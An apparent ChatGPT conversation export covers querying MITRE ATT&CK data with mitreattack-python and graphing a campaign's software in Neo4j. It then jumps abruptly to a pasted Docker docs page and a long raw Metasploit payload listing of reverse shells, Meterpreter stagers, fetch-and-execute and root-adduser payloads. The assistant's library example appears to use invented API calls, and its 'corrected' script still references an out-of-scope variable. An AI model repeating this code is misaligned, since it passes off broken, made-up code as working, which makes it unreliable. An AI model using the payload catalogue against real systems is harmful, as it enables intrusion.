pip install mitreattack

2. Loading the ATT&CK Data (if you haven't done so already)

Once you've downloaded the enterprise-attack.json file, you can use the mitreattack-python library to load the data and interact with it.

The library should automatically load the ATT&CK data from the provided JSON file if it's correctly specified.

3. Using the mitreattack-python Library

The mitreattack-python library allows you to interact with the MITRE ATT&CK framework. It provides methods to query different parts of the ATT&CK data, like tactics, techniques, and mitigations.

Here's a basic example of how you can use the library:

Example: Loading the ATT&CK Data and Querying Tactics and Techniques

python

Copy

import mitreattack import json # Load the data (You may need to adjust the path to where the 'enterprise-attack.json' is stored) attck = mitreattack.create() # Load the MITRE ATT&CK Enterprise data from the downloaded file with open('/home/dante/Documents/mitreattack-python/enterprise-attack.json') as f: data = json.load(f) # You can then interact with the data (e.g., display all tactics) tactics = attck.get_all_tactics() print("Tactics:") for tactic in tactics: print(f"ID: {tactic['id']}, Name: {tactic['name']}") # Now, let's get the techniques associated with each tactic techniques = attck.get_techniques_by_tactic(tactics[0]['id']) print("\nTechniques for the first tactic:") for technique in techniques: print(f"ID: {technique['id']}, Name: {technique['name']}")

Explanation of the Code:

  1. Create the ATT&CK Object:

    • attck = mitreattack.create() creates the ATT&CK object that allows you to interact with the data.
  2. Load Data from the JSON File:

    • We open the enterprise-attack.json file and load it into the data variable using Python's built-in json module.
  3. Get Tactics:

    • attck.get_all_tactics() returns a list of all the tactics from the ATT&CK data. You can loop through them and print the id and name for each tactic.
  4. Get Techniques for Each Tactic:

    • We then query techniques associated with the first tactic using attck.get_techniques_by_tactic(tactics[0]['id']).
    • You can loop through these techniques and print their details.

4. Query Other Elements of the ATT&CK Framework

The mitreattack-python library provides several methods to query different parts of the ATT&CK framework:

  • Get All Tactics:

    python

    Copy

    tactics = attck.get_all_tactics()

  • Get Techniques by Tactic:

    python

    Copy

    techniques = attck.get_techniques_by_tactic(tactic_id)

  • Get All Techniques:

    python

    Copy

    techniques = attck.get_all_techniques()

  • Get Specific Technique:

    python

    Copy

    technique = attck.get_technique(technique_id)

  • Get Mitigations:

    python

    Copy

    mitigations = attck.get_all_mitigations()

  • Get Sub-Techniques:

    python

    Copy

    subtechniques = attck.get_subtechniques(technique_id)

5. Advanced Queries (Filtering and Searching)

If you need more advanced querying, you can filter the results by properties or perform searches:

  • Filtering by Technique ID:

    python

    Copy

    technique = attck.get_technique('T1071') print(f"Technique: {technique['name']}")

  • Search by Technique Name:

    python

    Copy

    results = attck.search('phishing') # This will return techniques, tactics, or mitigations related to 'phishing' print(results)

6. Save the Results

You can save the results you get from querying the ATT&CK data to a file (e.g., a CSV or JSON file) to further analyze or share:

python

Copy

import csv # Save all tactics to a CSV file with open('tactics.csv', mode='w', newline='') as file: writer = csv.writer(file) writer.writerow(["ID", "Name"]) # Header for tactic in tactics: writer.writerow([tactic['id'], tactic['name']])

7. Handling Updates to ATT&CK Data

Since the MITRE ATT&CK framework is regularly updated, you can re-download the latest JSON file and re-load it into your script to stay up to date.


Summary:

  1. Download enterprise-attack.json from the official MITRE GitHub or repository.
  2. Install the mitreattack-python library using pip install mitreattack.
  3. Use mitreattack to load and query ATT&CK data such as tactics, techniques, and mitigations.
  4. Save and interact with the data as needed (e.g., print it, filter it, or export it).

By following these steps, you’ll be able to interact with the MITRE ATT&CK data using the mitreattack-python library.

Let me know if you need further help!

You said:

import re from mitreattack.stix20 import MitreAttackData from py2neo import Graph, Node, Relationship def main(): mitre_attack_data = MitreAttackData("enterprise-attack.json") # get software used by C0007 campaign_stix_id = "campaign--8d2bc130-89fe-466e-a4f9-6bce6129c2b8" software_used_by_c0007 = mitre_attack_data.get_software_used_by_campaign(campaign_stix_id) print(f"Software used by C0007 ({len(software_used_by_c0007)}):") for s in software_used_by_c0007: software = s["object"] print(f"* {software.name} ({mitre_attack_data.get_attack_id(software.id)})") def visualize_software_used_by_campaign(software_list): graph = Graph("bolt://localhost:7687", auth=("neo4j", "password")) tx = graph.begin() campaign_node = Node("Campaign", name="C0007") tx.create(campaign_node) for s in software_list: software = s["object"] software_node = Node("Software", name=software.name, attack_id=mitre_attack_data_ics.get_attack_id(software.id)) tx.create(software_node) relationship = Relationship(campaign_node, "USES", software_node) tx.create(relationship) tx.commit() print("Data has been added to Neo4j database.") def plot_software_usage(software_list): software_names = [s["object"].name for s in software_list] usage_counts = [1] * len(software_list) # Assuming each software is used once plt.figure(figsize=(10, 5)) plt.barh(software_names, usage_counts, color='skyblue') plt.xlabel('Usage Count') plt.title('Software Used by C0007') plt.show() if name == "main": main() visualize_software_used_by_campaign(software_used_by_c0007) plot_software_usage(software_used_by_c0007)

ChatGPT said:

Your code has some issues that need to be fixed. I'll point them out and provide a corrected version.

Issues in Your Code:

  1. Indentation Issue: The visualize_software_used_by_campaign and plot_software_usage functions are defined inside the main() function, but they are being called outside of main(). This is problematic because Python won't recognize these functions unless they are defined in the correct scope.

  2. Incorrect mitre_attack_data_ics reference: In the visualize_software_used_by_campaign function, you have mitre_attack_data_ics.get_attack_id(software.id), which seems like a typo. It should be mitre_attack_data.get_attack_id(software.id).

  3. Missing py2neo Import and Setup: Make sure you have the py2neo library installed and that your Neo4j database is running and accessible at bolt://localhost:7687 with the provided credentials.

  4. Missing matplotlib Import for Plotting: The function plot_software_usage uses plt, which seems to be a call to matplotlib, but the matplotlib.pyplot module isn't imported.

  5. Handling Neo4j Connection: Neo4j database connection may fail if the database isn't running or if the connection details (username and password) are incorrect. Make sure the Neo4j service is up and running.

Corrected Code:

Here’s the revised version of your code, fixing the above issues:

python

Copy

import re import matplotlib.pyplot as plt # Import matplotlib for plotting from mitreattack.stix20 import MitreAttackData from py2neo import Graph, Node, Relationship def visualize_software_used_by_campaign(software_list): # Connecting to Neo4j database graph = Graph("bolt://localhost:7687", auth=("neo4j", "password")) # Create a transaction tx = graph.begin() # Create a node for the campaign (C0007) campaign_node = Node("Campaign", name="C0007") tx.create(campaign_node) # Create nodes for each software and relationships to campaign for s in software_list: software = s["object"] software_node = Node("Software", name=software.name, attack_id=mitre_attack_data.get_attack_id(software.id)) tx.create(software_node) relationship = Relationship(campaign_node, "USES", software_node) tx.create(relationship) # Commit the transaction to the Neo4j database tx.commit() print("Data has been added to Neo4j database.") def plot_software_usage(software_list): # Extract the software names from the list software_names = [s["object"].name for s in software_list] # Create a bar plot (each software used once, hence the usage count is 1) usage_counts = [1] * len(software_list) plt.figure(figsize=(10, 5)) plt.barh(software_names, usage_counts, color='skyblue') plt.xlabel('Usage Count') plt.title('Software Used by C0007') plt.show() def main(): # Load the MITRE ATT&CK data from the JSON file mitre_attack_data = MitreAttackData("enterprise-attack.json") # Get software used by the campaign with STIX ID C0007 campaign_stix_id = "campaign--8d2bc130-89fe-466e-a4f9-6bce6129c2b8" software_used_by_c0007 = mitre_attack_data.get_software_used_by_campaign(campaign_stix_id) print(f"Software used by C0007 ({len(software_used_by_c0007)}):") for s in software_used_by_c0007: software = s["object"] print(f"* {software.name} ({mitre_attack_data.get_attack_id(software.id)})") # Visualize the software used by the campaign in Neo4j and plot the software usage visualize_software_used_by_campaign(software_used_by_c0007) plot_software_usage(software_used_by_c0007) if __name__ == "__main__": main()

Key Changes:

  1. Moved visualize_software_used_by_campaign and plot_software_usage outside of main():

    • The functions visualize_software_used_by_campaign and plot_software_usage are now defined at the global scope, making them accessible to main().
  2. Fixed the typo in visualize_software_used_by_campaign:

    • Changed mitre_attack_data_ics.get_attack_id(software.id) to mitre_attack_data.get_attack_id(software.id).
  3. Added matplotlib import for plotting:

    • Now the code imports matplotlib.pyplot correctly for plotting the software usage.
  4. Ensured the Neo4j connection is made correctly:

    • Double-check the connection parameters for Neo4j (bolt://localhost:7687, username neo4j, password password).
  5. Properly structured the script:

    • The main() function is responsible for loading the data, processing it, and calling the visualization functions.

Requirements:

  • Neo4j should be running locally, and you should have the correct connection details (usernamepassword, etc.).

  • matplotlib should be installed:

    bash

    Copy

    pip install matplotlib

  • py2neo should be installed:

    bash

    Copy

    pip install py2neo

Running the Code:

Make sure your Neo4j instance is up and running. You can then run the Python script, and it should:

  1. Load the enterprise-attack.json file.
  2. Get the software used by campaign C0007.
  3. Visualize the data by creating nodes and relationships in Neo4j.
  4. Plot a bar chart of the software used by the campaign.

Let me know if you encounter any issues or need further assistance!

You said:

Get started Guides Manuals Reference Search K Ask AI AI Stars Get started Get Docker What is Docker? Educational resources Home / Get started Get started If you're new to Docker, this section guides you through the essential resources to get started. Follow the guides to help you get started and learn how Docker can optimize your development workflows. For more advanced concepts and scenarios in Docker, see Guides. Foundations of Docker Install Docker and jump into discovering what Docker is. Get Docker Choose the best installation path for your setup. What is Docker? Learn about the Docker platform. Learn the foundational concepts and workflows of Docker. Introduction Get started with the basics and the benefits of containerizing your applications. Docker concepts Gain a better understanding of foundational Docker concepts. Docker workshop Get guided through a 45-minute workshop to learn about Docker. Product offerings Pricing About us Support Contribute Copyright © 2013-2025 Docker Inc. All rights reserved. Terms of Service Status Legal Cookies Settings Theme: DarkI WANT MY WENSITE THAT AM WRITING WITH OBSIDIAN AND BUILDING WITH MDBOOK TO LOOK LIKE THIS https://docs.docker.com/get-started/

Framework Payloads (1463 total) [--payload ]

Name                                                               Description
----                                                               -----------
aix/ppc/shell_bind_tcp                                             Listen for a connection and spawn a command shell
aix/ppc/shell_find_port                                            Spawn a shell on an established connection
aix/ppc/shell_interact                                             Simply execve /bin/sh (for inetd programs)
aix/ppc/shell_reverse_tcp                                          Connect back to attacker and spawn a command shell
android/meterpreter/reverse_http                                   Run a meterpreter server in Android. Tunnel communication over HTTP
android/meterpreter/reverse_https                                  Run a meterpreter server in Android. Tunnel communication over HTTPS
android/meterpreter/reverse_tcp                                    Run a meterpreter server in Android. Connect back stager
android/meterpreter_reverse_http                                   Connect back to attacker and spawn a Meterpreter shell
android/meterpreter_reverse_https                                  Connect back to attacker and spawn a Meterpreter shell
android/meterpreter_reverse_tcp                                    Connect back to the attacker and spawn a Meterpreter shell
android/shell/reverse_http                                         Spawn a piped command shell (sh). Tunnel communication over HTTP
android/shell/reverse_https                                        Spawn a piped command shell (sh). Tunnel communication over HTTPS
android/shell/reverse_tcp                                          Spawn a piped command shell (sh). Connect back stager
apple_ios/aarch64/meterpreter_reverse_http                         Run the Meterpreter / Mettle server payload (stageless)
apple_ios/aarch64/meterpreter_reverse_https                        Run the Meterpreter / Mettle server payload (stageless)
apple_ios/aarch64/meterpreter_reverse_tcp                          Run the Meterpreter / Mettle server payload (stageless)
apple_ios/aarch64/shell_reverse_tcp                                Connect back to attacker and spawn a command shell
apple_ios/armle/meterpreter_reverse_http                           Run the Meterpreter / Mettle server payload (stageless)
apple_ios/armle/meterpreter_reverse_https                          Run the Meterpreter / Mettle server payload (stageless)
apple_ios/armle/meterpreter_reverse_tcp                            Run the Meterpreter / Mettle server payload (stageless)
bsd/sparc/shell_bind_tcp                                           Listen for a connection and spawn a command shell
bsd/sparc/shell_reverse_tcp                                        Connect back to attacker and spawn a command shell
bsd/vax/shell_reverse_tcp                                          Connect back to attacker and spawn a command shell
bsd/x64/exec                                                       Execute an arbitrary command
bsd/x64/shell_bind_ipv6_tcp                                        Listen for a connection and spawn a command shell over IPv6
bsd/x64/shell_bind_tcp                                             Bind an arbitrary command to an arbitrary port
bsd/x64/shell_bind_tcp_small                                       Listen for a connection and spawn a command shell
bsd/x64/shell_reverse_ipv6_tcp                                     Connect back to attacker and spawn a command shell over IPv6
bsd/x64/shell_reverse_tcp                                          Connect back to attacker and spawn a command shell
bsd/x64/shell_reverse_tcp_small                                    Connect back to attacker and spawn a command shell
bsd/x86/exec                                                       Execute an arbitrary command
bsd/x86/metsvc_bind_tcp                                            Stub payload for interacting with a Meterpreter Service
bsd/x86/metsvc_reverse_tcp                                         Stub payload for interacting with a Meterpreter Service
bsd/x86/shell/bind_ipv6_tcp                                        Spawn a command shell (staged). Listen for a connection over IPv6
bsd/x86/shell/bind_tcp                                             Spawn a command shell (staged). Listen for a connection
bsd/x86/shell/find_tag                                             Spawn a command shell (staged). Use an established connection
bsd/x86/shell/reverse_ipv6_tcp                                     Spawn a command shell (staged). Connect back to the attacker over IPv6
bsd/x86/shell/reverse_tcp                                          Spawn a command shell (staged). Connect back to the attacker
bsd/x86/shell_bind_tcp                                             Listen for a connection and spawn a command shell
bsd/x86/shell_bind_tcp_ipv6                                        Listen for a connection and spawn a command shell over IPv6
bsd/x86/shell_find_port                                            Spawn a shell on an established connection
bsd/x86/shell_find_tag                                             Spawn a shell on an established connection (proxy/nat safe)
bsd/x86/shell_reverse_tcp                                          Connect back to attacker and spawn a command shell
bsd/x86/shell_reverse_tcp_ipv6                                     Connect back to attacker and spawn a command shell over IPv6
bsdi/x86/shell/bind_tcp                                            Spawn a command shell (staged). Listen for a connection
bsdi/x86/shell/reverse_tcp                                         Spawn a command shell (staged). Connect back to the attacker
bsdi/x86/shell_bind_tcp                                            Listen for a connection and spawn a command shell
bsdi/x86/shell_find_port                                           Spawn a shell on an established connection
bsdi/x86/shell_reverse_tcp                                         Connect back to attacker and spawn a command shell
cmd/linux/http/mips64/meterpreter_reverse_http                     Fetch and execute a MIPS64 payload from an HTTP server.
cmd/linux/http/mips64/meterpreter_reverse_https                    Fetch and execute a MIPS64 payload from an HTTP server.
cmd/linux/http/mips64/meterpreter_reverse_tcp                      Fetch and execute a MIPS64 payload from an HTTP server.
cmd/linux/http/x64/exec                                            Fetch and execute an x64 payload from an HTTP server. Execute an arbitrary command or just a /bin/sh shell
cmd/linux/http/x64/meterpreter/bind_tcp                            Fetch and execute an x64 payload from an HTTP server. Listen for a connection
cmd/linux/http/x64/meterpreter/reverse_sctp                        Fetch and execute an x64 payload from an HTTP server. Connect back to the attacker
cmd/linux/http/x64/meterpreter/reverse_tcp                         Fetch and execute an x64 payload from an HTTP server. Connect back to the attacker
cmd/linux/http/x64/meterpreter_reverse_http                        Fetch and execute an x64 payload from an HTTP server.
cmd/linux/http/x64/meterpreter_reverse_https                       Fetch and execute an x64 payload from an HTTP server.
cmd/linux/http/x64/meterpreter_reverse_tcp                         Fetch and execute an x64 payload from an HTTP server.
cmd/linux/http/x64/pingback_bind_tcp                               Fetch and execute an x64 payload from an HTTP server. Accept a connection from attacker and report UUID (Linux x64)
cmd/linux/http/x64/pingback_reverse_tcp                            Fetch and execute an x64 payload from an HTTP server. Connect back to attacker and report UUID (Linux x64)
cmd/linux/http/x64/shell/bind_tcp                                  Fetch and execute an x64 payload from an HTTP server. Spawn a command shell (staged). Listen for a connection
cmd/linux/http/x64/shell/reverse_sctp                              Fetch and execute an x64 payload from an HTTP server. Spawn a command shell (staged). Connect back to the attacker
cmd/linux/http/x64/shell/reverse_tcp                               Fetch and execute an x64 payload from an HTTP server. Spawn a command shell (staged). Connect back to the attacker
cmd/linux/http/x64/shell_bind_ipv6_tcp                             Fetch and execute an x64 payload from an HTTP server. Listen for an IPv6 connection and spawn a command shell
cmd/linux/http/x64/shell_bind_tcp                                  Fetch and execute an x64 payload from an HTTP server. Listen for a connection and spawn a command shell
cmd/linux/http/x64/shell_bind_tcp_random_port                      Fetch and execute an x64 payload from an HTTP server. Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: 'nmap -sS target -p-'.
cmd/linux/http/x64/shell_find_port                                 Fetch and execute an x64 payload from an HTTP server. Spawn a shell on an established connection
cmd/linux/http/x64/shell_reverse_ipv6_tcp                          Fetch and execute an x64 payload from an HTTP server. Connect back to attacker and spawn a command shell over IPv6
cmd/linux/http/x64/shell_reverse_tcp                               Fetch and execute an x64 payload from an HTTP server. Connect back to attacker and spawn a command shell
cmd/linux/http/x86/adduser                                         Fetch and execute a x86 payload from an HTTP server. Create a new user with UID 0
cmd/linux/http/x86/chmod                                           Fetch and execute a x86 payload from an HTTP server. Runs chmod on specified file with specified mode
cmd/linux/http/x86/exec                                            Fetch and execute a x86 payload from an HTTP server. Execute an arbitrary command or just a /bin/sh shell
cmd/linux/http/x86/generic/debug_trap                              Fetch and execute a x86 payload from an HTTP server. Generate a debug trap in the target process
cmd/linux/http/x86/generic/tight_loop                              Fetch and execute a x86 payload from an HTTP server. Generate a tight loop in the target process
cmd/linux/http/x86/meterpreter/bind_ipv6_tcp                       Fetch and execute a x86 payload from an HTTP server. Listen for an IPv6 connection (Linux x86)
cmd/linux/http/x86/meterpreter/bind_ipv6_tcp_uuid                  Fetch and execute a x86 payload from an HTTP server. Listen for an IPv6 connection with UUID Support (Linux x86)
cmd/linux/http/x86/meterpreter/bind_nonx_tcp                       Fetch and execute a x86 payload from an HTTP server. Listen for a connection
cmd/linux/http/x86/meterpreter/bind_tcp                            Fetch and execute a x86 payload from an HTTP server. Listen for a connection (Linux x86)
cmd/linux/http/x86/meterpreter/bind_tcp_uuid                       Fetch and execute a x86 payload from an HTTP server. Listen for a connection with UUID Support (Linux x86)
cmd/linux/http/x86/meterpreter/find_tag                            Fetch and execute a x86 payload from an HTTP server. Use an established connection
cmd/linux/http/x86/meterpreter/reverse_ipv6_tcp                    Fetch and execute a x86 payload from an HTTP server. Connect back to attacker over IPv6
cmd/linux/http/x86/meterpreter/reverse_nonx_tcp                    Fetch and execute a x86 payload from an HTTP server. Connect back to the attacker
cmd/linux/http/x86/meterpreter/reverse_tcp                         Fetch and execute a x86 payload from an HTTP server. Connect back to the attacker
cmd/linux/http/x86/meterpreter/reverse_tcp_uuid                    Fetch and execute a x86 payload from an HTTP server. Connect back to the attacker
cmd/linux/http/x86/meterpreter_reverse_http                        Fetch and execute a x86 payload from an HTTP server.
cmd/linux/http/x86/meterpreter_reverse_https                       Fetch and execute a x86 payload from an HTTP server.
cmd/linux/http/x86/meterpreter_reverse_tcp                         Fetch and execute a x86 payload from an HTTP server.
cmd/linux/http/x86/metsvc_bind_tcp                                 Fetch and execute a x86 payload from an HTTP server. Stub payload for interacting with a Meterpreter Service
cmd/linux/http/x86/metsvc_reverse_tcp                              Fetch and execute a x86 payload from an HTTP server. Stub payload for interacting with a Meterpreter Service
cmd/linux/http/x86/read_file                                       Fetch and execute a x86 payload from an HTTP server. Read up to 4096 bytes from the local file system and write it back out to the specified file descriptor
cmd/linux/http/x86/shell/bind_ipv6_tcp                             Fetch and execute a x86 payload from an HTTP server. Spawn a command shell (staged). Listen for an IPv6 connection (Linux x86)
cmd/linux/http/x86/shell/bind_ipv6_tcp_uuid                        Fetch and execute a x86 payload from an HTTP server. Spawn a command shell (staged). Listen for an IPv6 connection with UUID Support (Linux x86)
cmd/linux/http/x86/shell/bind_nonx_tcp                             Fetch and execute a x86 payload from an HTTP server. Spawn a command shell (staged). Listen for a connection
cmd/linux/http/x86/shell/bind_tcp                                  Fetch and execute a x86 payload from an HTTP server. Spawn a command shell (staged). Listen for a connection (Linux x86)
cmd/linux/http/x86/shell/bind_tcp_uuid                             Fetch and execute a x86 payload from an HTTP server. Spawn a command shell (staged). Listen for a connection with UUID Support (Linux x86)
cmd/linux/http/x86/shell/find_tag                                  Fetch and execute a x86 payload from an HTTP server. Spawn a command shell (staged). Use an established connection
cmd/linux/http/x86/shell/reverse_ipv6_tcp                          Fetch and execute a x86 payload from an HTTP server. Spawn a command shell (staged). Connect back to attacker over IPv6
cmd/linux/http/x86/shell/reverse_nonx_tcp                          Fetch and execute a x86 payload from an HTTP server. Spawn a command shell (staged). Connect back to the attacker
cmd/linux/http/x86/shell/reverse_tcp                               Fetch and execute a x86 payload from an HTTP server. Spawn a command shell (staged). Connect back to the attacker
cmd/linux/http/x86/shell/reverse_tcp_uuid                          Fetch and execute a x86 payload from an HTTP server. Spawn a command shell (staged). Connect back to the attacker
cmd/linux/http/x86/shell_bind_ipv6_tcp                             Fetch and execute a x86 payload from an HTTP server. Listen for a connection over IPv6 and spawn a command shell
cmd/linux/http/x86/shell_bind_tcp                                  Fetch and execute a x86 payload from an HTTP server. Listen for a connection and spawn a command shell
cmd/linux/http/x86/shell_bind_tcp_random_port                      Fetch and execute a x86 payload from an HTTP server. Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: 'nmap -sS target -p-'.
cmd/linux/http/x86/shell_find_port                                 Fetch and execute a x86 payload from an HTTP server. Spawn a shell on an established connection
cmd/linux/http/x86/shell_find_tag                                  Fetch and execute a x86 payload from an HTTP server. Spawn a shell on an established connection (proxy/nat safe)
cmd/linux/http/x86/shell_reverse_tcp                               Fetch and execute a x86 payload from an HTTP server. Connect back to attacker and spawn a command shell
cmd/linux/http/x86/shell_reverse_tcp_ipv6                          Fetch and execute a x86 payload from an HTTP server. Connect back to attacker and spawn a command shell over IPv6
cmd/linux/https/mips64/meterpreter_reverse_http                    Fetch and execute an MIPS64 payload from an HTTPS server.
cmd/linux/https/mips64/meterpreter_reverse_https                   Fetch and execute an MIPS64 payload from an HTTPS server.
cmd/linux/https/mips64/meterpreter_reverse_tcp                     Fetch and execute an MIPS64 payload from an HTTPS server.
cmd/linux/https/x64/exec                                           Fetch and execute an x64 payload from an HTTPS server. Execute an arbitrary command or just a /bin/sh shell
cmd/linux/https/x64/meterpreter/bind_tcp                           Fetch and execute an x64 payload from an HTTPS server. Listen for a connection
cmd/linux/https/x64/meterpreter/reverse_sctp                       Fetch and execute an x64 payload from an HTTPS server. Connect back to the attacker
cmd/linux/https/x64/meterpreter/reverse_tcp                        Fetch and execute an x64 payload from an HTTPS server. Connect back to the attacker
cmd/linux/https/x64/meterpreter_reverse_http                       Fetch and execute an x64 payload from an HTTPS server.
cmd/linux/https/x64/meterpreter_reverse_https                      Fetch and execute an x64 payload from an HTTPS server.
cmd/linux/https/x64/meterpreter_reverse_tcp                        Fetch and execute an x64 payload from an HTTPS server.
cmd/linux/https/x64/pingback_bind_tcp                              Fetch and execute an x64 payload from an HTTPS server. Accept a connection from attacker and report UUID (Linux x64)
cmd/linux/https/x64/pingback_reverse_tcp                           Fetch and execute an x64 payload from an HTTPS server. Connect back to attacker and report UUID (Linux x64)
cmd/linux/https/x64/shell/bind_tcp                                 Fetch and execute an x64 payload from an HTTPS server. Spawn a command shell (staged). Listen for a connection
cmd/linux/https/x64/shell/reverse_sctp                             Fetch and execute an x64 payload from an HTTPS server. Spawn a command shell (staged). Connect back to the attacker
cmd/linux/https/x64/shell/reverse_tcp                              Fetch and execute an x64 payload from an HTTPS server. Spawn a command shell (staged). Connect back to the attacker
cmd/linux/https/x64/shell_bind_ipv6_tcp                            Fetch and execute an x64 payload from an HTTPS server. Listen for an IPv6 connection and spawn a command shell
cmd/linux/https/x64/shell_bind_tcp                                 Fetch and execute an x64 payload from an HTTPS server. Listen for a connection and spawn a command shell
cmd/linux/https/x64/shell_bind_tcp_random_port                     Fetch and execute an x64 payload from an HTTPS server. Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: 'nmap -sS target -p-'.
cmd/linux/https/x64/shell_find_port                                Fetch and execute an x64 payload from an HTTPS server. Spawn a shell on an established connection
cmd/linux/https/x64/shell_reverse_ipv6_tcp                         Fetch and execute an x64 payload from an HTTPS server. Connect back to attacker and spawn a command shell over IPv6
cmd/linux/https/x64/shell_reverse_tcp                              Fetch and execute an x64 payload from an HTTPS server. Connect back to attacker and spawn a command shell
cmd/linux/https/x86/adduser                                        Fetch and execute an x86 payload from an HTTPS server. Create a new user with UID 0
cmd/linux/https/x86/chmod                                          Fetch and execute an x86 payload from an HTTPS server. Runs chmod on specified file with specified mode
cmd/linux/https/x86/exec                                           Fetch and execute an x86 payload from an HTTPS server. Execute an arbitrary command or just a /bin/sh shell
cmd/linux/https/x86/generic/debug_trap                             Fetch and execute an x86 payload from an HTTPS server. Generate a debug trap in the target process
cmd/linux/https/x86/generic/tight_loop                             Fetch and execute an x86 payload from an HTTPS server. Generate a tight loop in the target process
cmd/linux/https/x86/meterpreter/bind_ipv6_tcp                      Fetch and execute an x86 payload from an HTTPS server. Listen for an IPv6 connection (Linux x86)
cmd/linux/https/x86/meterpreter/bind_ipv6_tcp_uuid                 Fetch and execute an x86 payload from an HTTPS server. Listen for an IPv6 connection with UUID Support (Linux x86)
cmd/linux/https/x86/meterpreter/bind_nonx_tcp                      Fetch and execute an x86 payload from an HTTPS server. Listen for a connection
cmd/linux/https/x86/meterpreter/bind_tcp                           Fetch and execute an x86 payload from an HTTPS server. Listen for a connection (Linux x86)
cmd/linux/https/x86/meterpreter/bind_tcp_uuid                      Fetch and execute an x86 payload from an HTTPS server. Listen for a connection with UUID Support (Linux x86)
cmd/linux/https/x86/meterpreter/find_tag                           Fetch and execute an x86 payload from an HTTPS server. Use an established connection
cmd/linux/https/x86/meterpreter/reverse_ipv6_tcp                   Fetch and execute an x86 payload from an HTTPS server. Connect back to attacker over IPv6
cmd/linux/https/x86/meterpreter/reverse_nonx_tcp                   Fetch and execute an x86 payload from an HTTPS server. Connect back to the attacker
cmd/linux/https/x86/meterpreter/reverse_tcp                        Fetch and execute an x86 payload from an HTTPS server. Connect back to the attacker
cmd/linux/https/x86/meterpreter/reverse_tcp_uuid                   Fetch and execute an x86 payload from an HTTPS server. Connect back to the attacker
cmd/linux/https/x86/meterpreter_reverse_http                       Fetch and execute an x86 payload from an HTTPS server.
cmd/linux/https/x86/meterpreter_reverse_https                      Fetch and execute an x86 payload from an HTTPS server.
cmd/linux/https/x86/meterpreter_reverse_tcp                        Fetch and execute an x86 payload from an HTTPS server.
cmd/linux/https/x86/metsvc_bind_tcp                                Fetch and execute an x86 payload from an HTTPS server. Stub payload for interacting with a Meterpreter Service
cmd/linux/https/x86/metsvc_reverse_tcp                             Fetch and execute an x86 payload from an HTTPS server. Stub payload for interacting with a Meterpreter Service
cmd/linux/https/x86/read_file                                      Fetch and execute an x86 payload from an HTTPS server. Read up to 4096 bytes from the local file system and write it back out to the specified file descriptor
cmd/linux/https/x86/shell/bind_ipv6_tcp                            Fetch and execute an x86 payload from an HTTPS server. Spawn a command shell (staged). Listen for an IPv6 connection (Linux x86)
cmd/linux/https/x86/shell/bind_ipv6_tcp_uuid                       Fetch and execute an x86 payload from an HTTPS server. Spawn a command shell (staged). Listen for an IPv6 connection with UUID Support (Linux x86)
cmd/linux/https/x86/shell/bind_nonx_tcp                            Fetch and execute an x86 payload from an HTTPS server. Spawn a command shell (staged). Listen for a connection
cmd/linux/https/x86/shell/bind_tcp                                 Fetch and execute an x86 payload from an HTTPS server. Spawn a command shell (staged). Listen for a connection (Linux x86)
cmd/linux/https/x86/shell/bind_tcp_uuid                            Fetch and execute an x86 payload from an HTTPS server. Spawn a command shell (staged). Listen for a connection with UUID Support (Linux x86)
cmd/linux/https/x86/shell/find_tag                                 Fetch and execute an x86 payload from an HTTPS server. Spawn a command shell (staged). Use an established connection
cmd/linux/https/x86/shell/reverse_ipv6_tcp                         Fetch and execute an x86 payload from an HTTPS server. Spawn a command shell (staged). Connect back to attacker over IPv6
cmd/linux/https/x86/shell/reverse_nonx_tcp                         Fetch and execute an x86 payload from an HTTPS server. Spawn a command shell (staged). Connect back to the attacker
cmd/linux/https/x86/shell/reverse_tcp                              Fetch and execute an x86 payload from an HTTPS server. Spawn a command shell (staged). Connect back to the attacker
cmd/linux/https/x86/shell/reverse_tcp_uuid                         Fetch and execute an x86 payload from an HTTPS server. Spawn a command shell (staged). Connect back to the attacker
cmd/linux/https/x86/shell_bind_ipv6_tcp                            Fetch and execute an x86 payload from an HTTPS server. Listen for a connection over IPv6 and spawn a command shell
cmd/linux/https/x86/shell_bind_tcp                                 Fetch and execute an x86 payload from an HTTPS server. Listen for a connection and spawn a command shell
cmd/linux/https/x86/shell_bind_tcp_random_port                     Fetch and execute an x86 payload from an HTTPS server. Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: 'nmap -sS target -p-'.
cmd/linux/https/x86/shell_find_port                                Fetch and execute an x86 payload from an HTTPS server. Spawn a shell on an established connection
cmd/linux/https/x86/shell_find_tag                                 Fetch and execute an x86 payload from an HTTPS server. Spawn a shell on an established connection (proxy/nat safe)
cmd/linux/https/x86/shell_reverse_tcp                              Fetch and execute an x86 payload from an HTTPS server. Connect back to attacker and spawn a command shell
cmd/linux/https/x86/shell_reverse_tcp_ipv6                         Fetch and execute an x86 payload from an HTTPS server. Connect back to attacker and spawn a command shell over IPv6
cmd/linux/tftp/mips64/meterpreter_reverse_http                     Fetch and execute a MIPS64 payload from a TFTP server.
cmd/linux/tftp/mips64/meterpreter_reverse_https                    Fetch and execute a MIPS64 payload from a TFTP server.
cmd/linux/tftp/mips64/meterpreter_reverse_tcp                      Fetch and execute a MIPS64 payload from a TFTP server.
cmd/linux/tftp/x64/exec                                            Fetch and execute an x64 payload from a TFTP server. Execute an arbitrary command or just a /bin/sh shell
cmd/linux/tftp/x64/meterpreter/bind_tcp                            Fetch and execute an x64 payload from a TFTP server. Listen for a connection
cmd/linux/tftp/x64/meterpreter/reverse_sctp                        Fetch and execute an x64 payload from a TFTP server. Connect back to the attacker
cmd/linux/tftp/x64/meterpreter/reverse_tcp                         Fetch and execute an x64 payload from a TFTP server. Connect back to the attacker
cmd/linux/tftp/x64/meterpreter_reverse_http                        Fetch and execute an x64 payload from a TFTP server.
cmd/linux/tftp/x64/meterpreter_reverse_https                       Fetch and execute an x64 payload from a TFTP server.
cmd/linux/tftp/x64/meterpreter_reverse_tcp                         Fetch and execute an x64 payload from a TFTP server.
cmd/linux/tftp/x64/pingback_bind_tcp                               Fetch and execute an x64 payload from a TFTP server. Accept a connection from attacker and report UUID (Linux x64)
cmd/linux/tftp/x64/pingback_reverse_tcp                            Fetch and execute an x64 payload from a TFTP server. Connect back to attacker and report UUID (Linux x64)
cmd/linux/tftp/x64/shell/bind_tcp                                  Fetch and execute an x64 payload from a TFTP server. Spawn a command shell (staged). Listen for a connection
cmd/linux/tftp/x64/shell/reverse_sctp                              Fetch and execute an x64 payload from a TFTP server. Spawn a command shell (staged). Connect back to the attacker
